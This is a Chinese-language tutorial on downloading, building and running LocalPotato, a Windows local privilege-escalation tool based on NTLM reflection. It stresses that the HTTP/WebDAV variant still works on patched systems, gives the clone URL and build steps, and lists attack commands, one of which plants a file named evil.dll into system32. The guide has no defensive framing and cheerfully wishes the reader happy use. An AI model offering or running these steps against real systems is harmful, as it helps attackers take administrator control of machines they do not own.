LocalPotato 项目下载及安装教程

1. 项目介绍

LocalPotato 是一个基于 NTLM 反射攻击技术的本地提权工具。它利用了一种新型“potato”技术，允许攻击者在本地环境中进行任意文件读写和权限提升。此工具包含两种场景：SMB 和 HTTP/WebDAV。其中 SMB 场景已被微软在 2023 年 1 月的补丁星期二修复（CVE-2023-21746），但 HTTP/WebDAV 场景目前尚未被修复，可以在更新后的系统上使用。

2. 项目下载位置

您可以在 GitHub 上找到 LocalPotato 项目，并按照以下步骤进行下载。

3. 项目安装环境配置

在开始安装之前，请确保您的系统环境满足以下要求：

• 操作系统：Windows
• 编译环境：Visual Studio

以下为环境配置的图片示例：

// 图片示例：Visual Studio 安装界面

// 图片示例：GitHub 克隆项目

4. 项目安装方式

以下是 LocalPotato 项目的安装步骤：

1. 克隆项目到本地

   git clone https://github.com/decoder-it/LocalPotato.git
   

2. 打开 Visual Studio，选择“打开项目”

3. 导入 LocalPotato.sln 解决方案文件

4. 编译并生成可执行文件

5. 项目处理脚本

以下是 LocalPotato 的基本使用示例：

SMB 场景

LocalPotato.exe -i c:\hacker\evil.dll -o windows\system32\evil.dll

HTTP/WebDAV 场景

LocalPotato.exe -r 127.0.0.1 -u /webdavshare/potato

按照以上教程，您应该能够成功下载、安装并使用 LocalPotato 项目。祝您使用愉快！